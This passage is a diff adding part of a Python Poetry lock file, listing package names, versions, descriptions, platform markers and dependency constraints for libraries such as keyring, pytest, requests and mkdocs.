+test = ["pytest (>=3.6.0,<3.9.0 || >3.9.0,<3.9.1 || >3.9.1,<3.9.2 || >3.9.2)", "pretend", "iso8601", "pytz", "hypothesis (>=1.11.4,<3.79.2 || >3.79.2)"]
+
+[[package]]
+category = "dev"
+description = "Distribution utilities"
+name = "distlib"
+optional = false
+python-versions = "*"
+version = "0.3.0"
+
+[[package]]
+category = "main"
+description = "Discover and load entry points from installed packages."
+marker = "python_version >= \"2.7\" and python_version < \"2.8\" or python_version >= \"3.4\" and python_version < \"3.5\""
+name = "entrypoints"
+optional = false
+python-versions = ">=2.7"
+version = "0.3"
+
+[package.dependencies]
+[package.dependencies.configparser]
+python = ">=2.7,<2.8"
+version = ">=3.5"
+
+[[package]]
+category = "main"
+description = "Python 3.4 Enum backported to 3.3, 3.2, 3.1, 2.7, 2.6, 2.5, and 2.4"
+marker = "python_version >= \"2.7\" and python_version < \"2.8\" or python_version >= \"2.7\" and python_version < \"2.8\" and (sys_platform == \"linux2\" or sys_platform == \"linux\")"
+name = "enum34"
+optional = false
+python-versions = "*"
+version = "1.1.10"
+
+[[package]]
+category = "dev"
+description = "A platform independent file lock."
+name = "filelock"
+optional = false
+python-versions = "*"
+version = "3.0.12"
+
+[[package]]
+category = "dev"
+description = "Python function signatures from PEP362 for Python 2.6, 2.7 and 3.2+"
+marker = "python_version < \"3.0\""
+name = "funcsigs"
+optional = false
+python-versions = "*"
+version = "1.0.2"
+
+[[package]]
+category = "main"
+description = "Backport of the functools module from Python 3.2.3 for use on 2.7 and PyPy."
+marker = "python_version >= \"2.7\" and python_version < \"2.8\" or python_version < \"3\""
+name = "functools32"
+optional = false
+python-versions = "*"
+version = "3.2.3-2"
+
+[[package]]
+category = "dev"
+description = "Clean single-source support for Python 3 and 2"
+marker = "python_version >= \"2.7.9\" and python_version < \"2.8.0\" or python_version >= \"3.4\" and python_version < \"4.0\""
+name = "future"
+optional = false
+python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*"
+version = "0.18.2"
+
+[[package]]
+category = "dev"
+description = "Backport of the concurrent.futures package from Python 3"
+marker = "python_version < \"3.2\""
+name = "futures"
+optional = false
+python-versions = ">=2.6, <3"
+version = "3.3.0"
+
+[[package]]
+category = "main"
+description = "Version of the glob module that can capture patterns and supports recursive wildcards"
+marker = "python_version >= \"2.7\" and python_version < \"2.8\" or python_version >= \"3.4\" and python_version < \"3.5\""
+name = "glob2"
+optional = false
+python-versions = "*"
+version = "0.6"
+
+[[package]]
+category = "main"
+description = "HTML parser based on the WHATWG HTML specification"
+name = "html5lib"
+optional = false
+python-versions = "*"
+version = "1.0.1"
+
+[package.dependencies]
+six = ">=1.9"
+webencodings = "*"
+
+[package.extras]
+all = ["genshi", "chardet (>=2.2)", "datrie", "lxml"]
+chardet = ["chardet (>=2.2)"]
+datrie = ["datrie"]
+genshi = ["genshi"]
+lxml = ["lxml"]
+
+[[package]]
+category = "dev"
+description = "HTTP client mock for Python"
+name = "httpretty"
+optional = false
+python-versions = "*"
+version = "0.9.7"
+
+[package.dependencies]
+six = "*"
+
+[[package]]
+category = "dev"
+description = "File identification library for Python"
+name = "identify"
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,>=2.7"
+version = "1.4.19"
+
+[package.extras]
+license = ["editdistance"]
+
+[[package]]
+category = "main"
+description = "Internationalized Domain Names in Applications (IDNA)"
+name = "idna"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "2.8"
+
+[[package]]
+category = "main"
+description = "Internationalized Domain Names in Applications (IDNA)"
+name = "idna"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "2.9"
+
+[[package]]
+category = "main"
+description = "Read metadata from Python packages"
+name = "importlib-metadata"
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,>=2.7"
+version = "1.1.3"
+
+[package.dependencies]
+zipp = ">=0.5"
+
+[package.dependencies.configparser]
+python = "<3"
+version = ">=3.5"
+
+[package.dependencies.contextlib2]
+python = "<3"
+version = "*"
+
+[package.extras]
+docs = ["sphinx", "rst.linker"]
+testing = ["packaging", "importlib-resources"]
+
+[[package]]
+category = "dev"
+description = "Read resources from Python packages"
+marker = "python_version < \"3.7\""
+name = "importlib-resources"
+optional = false
+python-versions = ">=2.7,!=3.0,!=3.1,!=3.2,!=3.3"
+version = "1.0.2"
+
+[package.dependencies]
+[package.dependencies.typing]
+python = "<3.5"
+version = "*"
+
+[[package]]
+category = "dev"
+description = "Read resources from Python packages"
+marker = "python_version < \"3.7\""
+name = "importlib-resources"
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7"
+version = "1.5.0"
+
+[package.dependencies]
+[package.dependencies.contextlib2]
+python = "<3"
+version = "*"
+
+[package.dependencies.importlib-metadata]
+python = "<3.8"
+version = "*"
+
+[package.dependencies.pathlib2]
+python = "<3"
+version = "*"
+
+[package.dependencies.singledispatch]
+python = "<3.4"
+version = "*"
+
+[package.dependencies.typing]
+python = "<3.5"
+version = "*"
+
+[package.dependencies.zipp]
+python = "<3.8"
+version = ">=0.4"
+
+[package.extras]
+docs = ["sphinx", "rst.linker", "jaraco.packaging"]
+
+[[package]]
+category = "main"
+description = "IPv4/IPv6 manipulation library"
+marker = "python_version >= \"2.7\" and python_version < \"2.8\" and (sys_platform == \"linux2\" or sys_platform == \"linux\")"
+name = "ipaddress"
+optional = false
+python-versions = "*"
+version = "1.0.23"
+
+[[package]]
+category = "main"
+description = "Low-level, pure Python DBus protocol wrapper."
+marker = "python_version >= \"3.5\" and python_version < \"4.0\" and sys_platform == \"linux\""
+name = "jeepney"
+optional = false
+python-versions = ">=3.5"
+version = "0.4.3"
+
+[package.extras]
+dev = ["testpath"]
+
+[[package]]
+category = "dev"
+description = "A very fast and expressive template engine."
+marker = "python_version >= \"2.7.9\" and python_version < \"2.8.0\" or python_version >= \"3.4\" and python_version < \"4.0\""
+name = "jinja2"
+optional = false
+python-versions = "*"
+version = "2.10.3"
+
+[package.dependencies]
+MarkupSafe = ">=0.23"
+
+[package.extras]
+i18n = ["Babel (>=0.8)"]
+
+[[package]]
+category = "dev"
+description = "A very fast and expressive template engine."
+marker = "python_version >= \"2.7.9\" and python_version < \"2.8.0\" or python_version >= \"3.4\" and python_version < \"4.0\""
+name = "jinja2"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
+version = "2.11.2"
+
+[package.dependencies]
+MarkupSafe = ">=0.23"
+
+[package.extras]
+i18n = ["Babel (>=0.8)"]
+
+[[package]]
+category = "dev"
+description = "Lightweight pipelining: using Python functions as pipeline jobs."
+marker = "python_version >= \"2.7.9\" and python_version < \"2.8.0\" or python_version >= \"3.4\" and python_version < \"4.0\""
+name = "joblib"
+optional = false
+python-versions = "*"
+version = "0.14.1"
+
+[[package]]
+category = "main"
+description = "An implementation of JSON Schema validation for Python"
+name = "jsonschema"
+optional = false
+python-versions = "*"
+version = "3.2.0"
+
+[package.dependencies]
+attrs = ">=17.4.0"
+pyrsistent = ">=0.14.0"
+setuptools = "*"
+six = ">=1.11.0"
+
+[package.dependencies.functools32]
+python = "<3"
+version = "*"
+
+[package.dependencies.importlib-metadata]
+python = "<3.8"
+version = "*"
+
+[package.extras]
+format = ["idna", "jsonpointer (>1.13)", "rfc3987", "strict-rfc3339", "webcolors"]
+format_nongpl = ["idna", "jsonpointer (>1.13)", "webcolors", "rfc3986-validator (>0.1.0)", "rfc3339-validator"]
+
+[[package]]
+category = "main"
+description = "Store and access your passwords safely."
+marker = "python_version >= \"2.7\" and python_version < \"2.8\" or python_version >= \"3.4\" and python_version < \"3.5\""
+name = "keyring"
+optional = false
+python-versions = ">=2.7"
+version = "18.0.1"
+
+[package.dependencies]
+entrypoints = "*"
+pywin32-ctypes = "<0.1.0 || >0.1.0,<0.1.1 || >0.1.1"
+
+[package.dependencies.secretstorage]
+python = "<3.5"
+version = "<3"
+
+[package.extras]
+docs = ["sphinx", "jaraco.packaging (>=3.2)", "rst.linker (>=1.9)"]
+testing = ["pytest (>=3.5,<3.7.3 || >3.7.3)", "pytest-checkdocs", "pytest-flake8"]
+
+[[package]]
+category = "main"
+description = "Store and access your passwords safely."
+marker = "python_version >= \"3.5\" and python_version < \"4.0\""
+name = "keyring"
+optional = false
+python-versions = ">=3.5"
+version = "20.0.1"
+
+[package.dependencies]
+pywin32-ctypes = "<0.1.0 || >0.1.0,<0.1.1 || >0.1.1"
+secretstorage = "*"
+
+[package.dependencies.importlib-metadata]
+python = "<3.8"
+version = "*"
+
+[package.extras]
+docs = ["sphinx", "jaraco.packaging (>=3.2)", "rst.linker (>=1.9)"]
+testing = ["pytest (>=3.5,<3.7.3 || >3.7.3)", "pytest-checkdocs (>=1.2.3)", "pytest-flake8", "pytest-black-multipy", "pytest-cov"]
+
+[[package]]
+category = "dev"
+description = "Python LiveReload is an awesome tool for web developers"
+marker = "python_version >= \"2.7.9\" and python_version < \"2.8.0\" or python_version >= \"3.4\" and python_version < \"4.0\""
+name = "livereload"
+optional = false
+python-versions = "*"
+version = "2.6.1"
+
+[package.dependencies]
+six = "*"
+tornado = "*"
+
+[[package]]
+category = "main"
+description = "Platform-independent file locking module"
+name = "lockfile"
+optional = false
+python-versions = "*"
+version = "0.12.2"
+
+[[package]]
+category = "dev"
+description = "A Python implementation of Lunr.js"
+marker = "python_version >= \"2.7.9\" and python_version < \"2.8.0\" or python_version >= \"3.4\" and python_version < \"4.0\""
+name = "lunr"
+optional = false
+python-versions = "*"
+version = "0.5.8"
+
+[package.dependencies]
+future = ">=0.16.0"
+six = ">=1.11.0"
+
+[package.dependencies.nltk]
+optional = true
+python = ">=2.8"
+version = ">=3.2.5"
+
+[package.extras]
+languages = ["nltk (>=3.2.5,<3.5)", "nltk (>=3.2.5)"]
+
+[[package]]
+category = "dev"
+description = "Python implementation of Markdown."
+name = "markdown"
+optional = false
+python-versions = ">=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*"
+version = "3.0.1"
+
+[[package]]
+category = "dev"
+description = "Python implementation of Markdown."
+name = "markdown"
+optional = false
+python-versions = ">=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*"
+version = "3.1.1"
+
+[package.dependencies]
+setuptools = ">=36"
+
+[package.extras]
+testing = ["coverage", "pyyaml"]
+
+[[package]]
+category = "dev"
+description = "Python implementation of Markdown."
+name = "markdown"
+optional = false
+python-versions = ">=3.5"
+version = "3.2.2"
+
+[package.dependencies]
+[package.dependencies.importlib-metadata]
+python = "<3.8"
+version = "*"
+
+[package.extras]
+testing = ["coverage", "pyyaml"]
+
+[[package]]
+category = "dev"
+description = "This is an extension to Python-Markdown which provides an \"include\" function, similar to that found in LaTeX (and also the C pre-processor and Fortran). I originally wrote it for my FORD Fortran auto-documentation generator."
+name = "markdown-include"
+optional = false
+python-versions = "*"
+version = "0.5.1"
+
+[package.dependencies]
+markdown = "*"
+
+[[package]]
+category = "dev"
+description = "Safely add untrusted strings to HTML/XML markup."
+marker = "python_version >= \"2.7.9\" and python_version < \"2.8.0\" or python_version >= \"3.4\" and python_version < \"4.0\""
+name = "markupsafe"
+optional = false
+python-versions = ">=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*"
+version = "1.1.1"
+
+[[package]]
+category = "dev"
+description = "Project documentation with Markdown."
+marker = "python_version >= \"2.7.9\" and python_version < \"2.8.0\" or python_version >= \"3.4\" and python_version < \"4.0\""
+name = "mkdocs"
+optional = false
+python-versions = ">=2.7.9,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*"
+version = "1.0.4"
+
+[package.dependencies]
+Jinja2 = ">=2.7.1"
+Markdown = ">=2.3.1"
+PyYAML = ">=3.10"
+click = ">=3.3"
+livereload = ">=2.5.1"
+tornado = ">=5.0"
+
+[[package]]
+category = "dev"
+description = "Project documentation with Markdown."
+marker = "python_version >= \"2.7.9\" and python_version < \"2.8.0\" or python_version >= \"3.4\" and python_version < \"4.0\""
+name = "mkdocs"
+optional = false
+python-versions = ">=3.5"
+version = "1.1.2"
+
+[package.dependencies]
+Jinja2 = ">=2.10.1"
+Markdown = ">=3.2.1"
+PyYAML = ">=3.10"
+click = ">=3.3"
+livereload = ">=2.5.1"
+tornado = ">=5.0"
+
+[package.dependencies.lunr]
+extras = ["languages"]
+version = "0.5.8"
+
+[[package]]
+category = "dev"
+description = "Rolling backport of unittest.mock for all Pythons"
+marker = "python_version < \"3.0\""
+name = "mock"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "3.0.5"
+
+[package.dependencies]
+six = "*"
+
+[package.dependencies.funcsigs]
+python = "<3.3"
+version = ">=1"
+
+[package.extras]
+build = ["twine", "wheel", "blurb"]
+docs = ["sphinx"]
+test = ["pytest", "pytest-cov"]
+
+[[package]]
+category = "dev"
+description = "More routines for operating on iterables, beyond itertools"
+marker = "python_version <= \"2.7\""
+name = "more-itertools"
+optional = false
+python-versions = "*"
+version = "5.0.0"
+
+[package.dependencies]
+six = ">=1.0.0,<2.0.0"
+
+[[package]]
+category = "dev"
+description = "More routines for operating on iterables, beyond itertools"
+marker = "python_version < \"3.5\" and python_version > \"2.7\""
+name = "more-itertools"
+optional = false
+python-versions = ">=3.4"
+version = "7.2.0"
+
+[[package]]
+category = "dev"
+description = "More routines for operating on iterables, beyond itertools"
+marker = "python_version >= \"3.5\""
+name = "more-itertools"
+optional = false
+python-versions = ">=3.5"
+version = "8.3.0"
+
+[[package]]
+category = "main"
+description = "MessagePack (de)serializer."
+name = "msgpack"
+optional = false
+python-versions = "*"
+version = "1.0.0"
+
+[[package]]
+category = "dev"
+description = "Natural Language Toolkit"
+marker = "python_version >= \"2.7.9\" and python_version < \"2.8.0\" or python_version >= \"3.4\" and python_version < \"4.0\""
+name = "nltk"
+optional = false
+python-versions = "*"
+version = "3.5"
+
+[package.dependencies]
+click = "*"
+joblib = "*"
+regex = "*"
+tqdm = "*"
+
+[package.extras]
+all = ["requests", "numpy", "python-crfsuite", "scikit-learn", "twython", "pyparsing", "scipy", "matplotlib", "gensim"]
+corenlp = ["requests"]
+machine_learning = ["gensim", "numpy", "python-crfsuite", "scikit-learn", "scipy"]
+plot = ["matplotlib"]
+tgrep = ["pyparsing"]
+twitter = ["twython"]
+
+[[package]]
+category = "dev"
+description = "Node.js virtual environment builder"
+name = "nodeenv"
+optional = false
+python-versions = "*"
+version = "1.4.0"
+
+[[package]]
+category = "dev"
+description = "Core utilities for Python packages"
+name = "packaging"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "20.4"
+
+[package.dependencies]
+pyparsing = ">=2.0.2"
+six = "*"
+
+[[package]]
+category = "main"
+description = "Bring colors to your terminal."
+name = "pastel"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "0.2.0"
+
+[[package]]
+category = "main"
+description = "Object-oriented filesystem paths"
+marker = "python_version >= \"2.7\" and python_version < \"2.8\" or python_version >= \"3.4\" and python_version < \"3.5\" or python_version < \"3.5\" or python_version >= \"3.5\" and python_version < \"3.6\""
+name = "pathlib2"
+optional = false
+python-versions = "*"
+version = "2.3.5"
+
+[package.dependencies]
+six = "*"
+
+[package.dependencies.scandir]
+python = "<3.5"
+version = "*"
+
+[[package]]
+category = "dev"
+description = "Utility library for gitignore style pattern matching of file paths."
+marker = "python_version >= \"3.6\" and python_version < \"4.0\""
+name = "pathspec"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
+version = "0.8.0"
+
+[[package]]
+category = "dev"
+description = "Backport of PEP 562."
+name = "pep562"
+optional = false
+python-versions = "*"
+version = "1.0"
+
+[[package]]
+category = "main"
+description = "Pexpect allows easy control of interactive console applications."
+name = "pexpect"
+optional = false
+python-versions = "*"
+version = "4.8.0"
+
+[package.dependencies]
+ptyprocess = ">=0.5"
+
+[[package]]
+category = "main"
+description = "Query metadatdata from sdists / bdists / installed packages."
+name = "pkginfo"
+optional = false
+python-versions = "*"
+version = "1.5.0.1"
+
+[package.extras]
+testing = ["nose", "coverage"]
+
+[[package]]
+category = "dev"
+description = "plugin and hook calling mechanisms for python"
+name = "pluggy"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "0.13.1"
+
+[package.dependencies]
+[package.dependencies.importlib-metadata]
+python = "<3.8"
+version = ">=0.12"
+
+[package.extras]
+dev = ["pre-commit", "tox"]
+
+[[package]]
+category = "dev"
+description = "A framework for managing and maintaining multi-language pre-commit hooks."
+name = "pre-commit"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "1.18.3"
+
+[package.dependencies]
+"aspy.yaml" = "*"
+cfgv = ">=2.0.0"
+identify = ">=1.0.0"
+importlib-metadata = "*"
+nodeenv = ">=0.11.1"
+pyyaml = "*"
+six = "*"
+toml = "*"
+virtualenv = ">=15.2"
+
+[package.dependencies.importlib-resources]
+python = "<3.7"
+version = "*"
+
+[[package]]
+category = "dev"
+description = "A framework for managing and maintaining multi-language pre-commit hooks."
+name = "pre-commit"
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,>=2.7"
+version = "1.21.0"
+
+[package.dependencies]
+"aspy.yaml" = "*"
+cfgv = ">=2.0.0"
+identify = ">=1.0.0"
+nodeenv = ">=0.11.1"
+pyyaml = "*"
+six = "*"
+toml = "*"
+virtualenv = ">=15.2"
+
+[package.dependencies.futures]
+python = "<3.2"
+version = "*"
+
+[package.dependencies.importlib-metadata]
+python = "<3.8"
+version = "*"
+
+[package.dependencies.importlib-resources]
+python = "<3.7"
+version = "*"
+
+[[package]]
+category = "main"
+description = "Run a subprocess in a pseudo terminal"
+name = "ptyprocess"
+optional = false
+python-versions = "*"
+version = "0.6.0"
+
+[[package]]
+category = "dev"
+description = "library with cross-python path, ini-parsing, io, code, log facilities"
+name = "py"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "1.8.1"
+
+[[package]]
+category = "main"
+description = "C parser in Python"
+marker = "python_version >= \"2.7\" and python_version < \"2.8\" and (sys_platform == \"linux2\" or sys_platform == \"linux\") or python_version >= \"3.4\" and python_version < \"3.5\" and (sys_platform == \"linux2\" or sys_platform == \"linux\") or python_version >= \"3.5\" and python_version < \"4.0\" and sys_platform == \"linux\""
+name = "pycparser"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "2.20"
+
+[[package]]
+category = "dev"
+description = "Pygments is a syntax highlighting package written in Python."
+name = "pygments"
+optional = false
+python-versions = "*"
+version = "2.3.1"
+
+[[package]]
+category = "dev"
+description = "Pygments is a syntax highlighting package written in Python."
+name = "pygments"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
+version = "2.5.2"
+
+[[package]]
+category = "dev"
+description = "Pygments is a syntax highlighting package written in Python."
+name = "pygments"
+optional = false
+python-versions = ">=3.5"
+version = "2.6.1"
+
+[[package]]
+category = "dev"
+description = "Pygments Github custom lexers."
+name = "pygments-github-lexers"
+optional = false
+python-versions = "*"
+version = "0.0.5"
+
+[package.dependencies]
+pygments = ">=2.0.2"
+
+[[package]]
+category = "main"
+description = "A pure Python Levenshtein implementation that's not freaking GPL'd."
+name = "pylev"
+optional = false
+python-versions = "*"
+version = "1.3.0"
+
+[[package]]
+category = "dev"
+description = "Extension pack for Python Markdown."
+name = "pymdown-extensions"
+optional = false
+python-versions = "*"
+version = "6.0"
+
+[package.dependencies]
+Markdown = ">=3.0.1"
+
+[[package]]
+category = "dev"
+description = "Extension pack for Python Markdown."
+name = "pymdown-extensions"
+optional = false
+python-versions = ">=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*"
+version = "6.2.1"
+
+[package.dependencies]
+Markdown = ">=3.0.1"
+pep562 = "*"
+
+[[package]]
+category = "dev"
+description = "Extension pack for Python Markdown."
+name = "pymdown-extensions"
+optional = false
+python-versions = ">=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*"
+version = "6.3"
+
+[package.dependencies]
+Markdown = ">=3.2"
+
+[[package]]
+category = "main"
+description = "Python parsing module"
+name = "pyparsing"
+optional = false
+python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*"
+version = "2.4.7"
+
+[[package]]
+category = "main"
+description = "Persistent/Functional/Immutable data structures"
+name = "pyrsistent"
+optional = false
+python-versions = "*"
+version = "0.14.11"
+
+[package.dependencies]
+six = "*"
+
+[[package]]
+category = "dev"
+description = "pytest: simple powerful testing with Python"
+name = "pytest"
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,>=2.7"
+version = "4.6.11"
+
+[package.dependencies]
+atomicwrites = ">=1.0"
+attrs = ">=17.4.0"
+packaging = "*"
+pluggy = ">=0.12,<1.0"
+py = ">=1.5.0"
+six = ">=1.10.0"
+wcwidth = "*"
+
+[[package.dependencies.colorama]]
+python = "<3.4.0 || >=3.5.0"
+version = "*"
+
+[[package.dependencies.colorama]]
+python = ">=3.4,<3.5"
+version = "<=0.4.1"
+
+[[package.dependencies.more-itertools]]
+python = "<2.8"
+version = ">=4.0.0,<6.0.0"
+
+[[package.dependencies.more-itertools]]
+python = ">=2.8"
+version = ">=4.0.0"
+
+[package.dependencies.funcsigs]
+python = "<3.0"
+version = ">=1.0"
+
+[package.dependencies.importlib-metadata]
+python = "<3.8"
+version = ">=0.12"
+
+[package.dependencies.pathlib2]
+python = "<3.6"
+version = ">=2.2.0"
+
+[package.extras]
+testing = ["argcomplete", "hypothesis (>=3.56)", "nose", "requests", "mock"]
+
+[[package]]
+category = "dev"
+description = "pytest: simple powerful testing with Python"
+name = "pytest"
+optional = false
+python-versions = ">=3.5"
+version = "5.4.3"
+
+[package.dependencies]
+atomicwrites = ">=1.0"
+attrs = ">=17.4.0"
+colorama = "*"
+more-itertools = ">=4.0.0"
+packaging = "*"
+pluggy = ">=0.12,<1.0"
+py = ">=1.5.0"
+wcwidth = "*"
+
+[package.dependencies.importlib-metadata]
+python = "<3.8"
+version = ">=0.12"
+
+[package.dependencies.pathlib2]
+python = "<3.6"
+version = ">=2.2.0"
+
+[package.extras]
+checkqa-mypy = ["mypy (v0.761)"]
+testing = ["argcomplete", "hypothesis (>=3.56)", "mock", "nose", "requests", "xmlschema"]
+
+[[package]]
+category = "dev"
+description = "Pytest plugin for measuring coverage."
+name = "pytest-cov"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "2.8.1"
+
+[package.dependencies]
+coverage = ">=4.4"
+pytest = ">=3.6"
+
+[package.extras]
+testing = ["fields", "hunter", "process-tests (2.0.2)", "six", "virtualenv"]
+
+[[package]]
+category = "dev"
+description = "Pytest plugin for measuring coverage."
+name = "pytest-cov"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
+version = "2.9.0"
+
+[package.dependencies]
+coverage = ">=4.4"
+pytest = ">=3.6"
+
+[package.extras]
+testing = ["fields", "hunter", "process-tests (2.0.2)", "six", "pytest-xdist", "virtualenv"]
+
+[[package]]
+category = "dev"
+description = "Thin-wrapper around the mock package for easier use with py.test"
+name = "pytest-mock"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "1.13.0"
+
+[package.dependencies]
+pytest = ">=2.7"
+
+[package.dependencies.mock]
+python = "<3.0"
+version = "*"
+
+[package.extras]
+dev = ["pre-commit", "tox"]
+
+[[package]]
+category = "dev"
+description = "pytest-sugar is a plugin for pytest that changes the default look and feel of pytest (e.g. progressbar, show tests that fail instantly)."
+name = "pytest-sugar"
+optional = false
+python-versions = "*"
+version = "0.9.3"
+
+[package.dependencies]
+packaging = ">=14.1"
+pytest = ">=2.9"
+termcolor = ">=1.1.0"
+
+[[package]]
+category = "main"
+description = ""
+marker = "python_version >= \"2.7\" and python_version < \"2.8\" and sys_platform == \"win32\" or python_version >= \"3.4\" and python_version < \"3.5\" and sys_platform == \"win32\" or python_version >= \"3.5\" and python_version < \"4.0\" and sys_platform == \"win32\""
+name = "pywin32-ctypes"
+optional = false
+python-versions = "*"
+version = "0.2.0"
+
+[[package]]
+category = "dev"
+description = "YAML parser and emitter for Python"
+name = "pyyaml"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "5.2"
+
+[[package]]
+category = "dev"
+description = "YAML parser and emitter for Python"
+name = "pyyaml"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
+version = "5.3.1"
+
+[[package]]
+category = "dev"
+description = "Alternative regular expression module, to replace re."
+marker = "python_version >= \"2.7.9\" and python_version < \"2.8.0\" or python_version >= \"3.4\" and python_version < \"4.0\" or python_version >= \"3.6\" and python_version < \"4.0\""
+name = "regex"
+optional = false
+python-versions = "*"
+version = "2020.5.14"
+
+[[package]]
+category = "main"
+description = "Python HTTP for Humans."
+name = "requests"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "2.21.0"
+
+[package.dependencies]
+certifi = ">=2017.4.17"
+chardet = ">=3.0.2,<3.1.0"
+idna = ">=2.5,<2.9"
+urllib3 = ">=1.21.1,<1.25"
+
+[package.extras]
+security = ["pyOpenSSL (>=0.14)", "cryptography (>=1.3.4)", "idna (>=2.0.0)"]
+socks = ["PySocks (>=1.5.6,<1.5.7 || >1.5.7)", "win-inet-pton"]
+
+[[package]]
+category = "main"
+description = "Python HTTP for Humans."
+name = "requests"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
+version = "2.23.0"
+
+[package.dependencies]
+certifi = ">=2017.4.17"
+chardet = ">=3.0.2,<4"
+idna = ">=2.5,<3"
+urllib3 = ">=1.21.1,<1.25.0 || >1.25.0,<1.25.1 || >1.25.1,<1.26"
+
+[package.extras]
+security = ["pyOpenSSL (>=0.14)", "cryptography (>=1.3.4)"]
+socks = ["PySocks (>=1.5.6,<1.5.7 || >1.5.7)", "win-inet-pton"]
+
+[[package]]
+category = "main"
+description = "A utility belt for advanced users of python-requests"
+name = "requests-toolbelt"
+optional = false
+python-versions = "*"
+version = "0.8.0"
+
+[package.dependencies]
+requests = ">=2.0.1,<3.0.0"
+
+[[package]]
+category = "main"
+description = "scandir, a better directory iterator and faster os.walk()"
+marker = "python_version >= \"2.7\" and python_version < \"2.8\" or python_version >= \"3.4\" and python_version < \"3.5\""
+name = "scandir"
+optional = false
+python-versions = "*"
+version = "1.10.0"
+
+[[package]]
+category = "main"
+description = "Python bindings to FreeDesktop.org Secret Service API"
+marker = "python_version >= \"2.7\" and python_version < \"2.8\" and (sys_platform == \"linux2\" or sys_platform == \"linux\") or python_version >= \"3.4\" and python_version < \"3.5\" and (sys_platform == \"linux2\" or sys_platform == \"linux\")"
+name = "secretstorage"
+optional = false
+python-versions = "*"
+version = "2.3.1"
+
+[package.dependencies]
+cryptography = "*"
+
+[package.extras]
+dbus-python = ["dbus-python"]
+
+[[package]]
+category = "main"
+description = "Python bindings to FreeDesktop.org Secret Service API"
+marker = "python_version >= \"3.5\" and python_version < \"4.0\" and sys_platform == \"linux\""
+name = "secretstorage"
+optional = false
+python-versions = ">=3.5"
+version = "3.1.2"
+
+[package.dependencies]
+cryptography = "*"
+jeepney = ">=0.4.2"
+
+[[package]]
+category = "main"
+description = "Tool to Detect Surrounding Shell"
+name = "shellingham"
+optional = false
+python-versions = "!=3.0,!=3.1,!=3.2,!=3.3,>=2.6"
+version = "1.3.2"
+
+[[package]]
+category = "dev"
+description = "This library brings functools.singledispatch from Python 3.4 to Python 2.6-3.3."
+marker = "python_version < \"3.4\""
+name = "singledispatch"
+optional = false
+python-versions = "*"
+version = "3.4.0.3"
+
+[package.dependencies]
+six = "*"
+
+[[package]]
+category = "main"
+description = "Python 2 and 3 compatibility utilities"
+name = "six"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*"
+version = "1.15.0"
+
+[[package]]
+category = "main"
+description = "A backport of the subprocess module from Python 3 for use on 2.x."
+marker = "python_version >= \"2.7\" and python_version < \"2.8\" or python_version >= \"3.4\" and python_version < \"3.5\""
+name = "subprocess32"
+optional = false
+python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*, <4"
+version = "3.5.4"
+
+[[package]]
+category = "dev"
+description = "ANSII Color formatting for output in terminal."
+name = "termcolor"
+optional = false
+python-versions = "*"
+version = "1.1.0"
+
+[[package]]
+category = "dev"
+description = "Python Library for Tom's Obvious, Minimal Language"
+name = "toml"
+optional = false
+python-versions = "*"
+version = "0.10.1"
+
+[[package]]
+category = "main"
+description = "Style preserving TOML library"
+name = "tomlkit"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+version = "0.5.11"
+
+[package.dependencies]
+[package.dependencies.enum34]
+python = ">=2.7,<2.8"
+version = ">=1.1,<2.0"
+
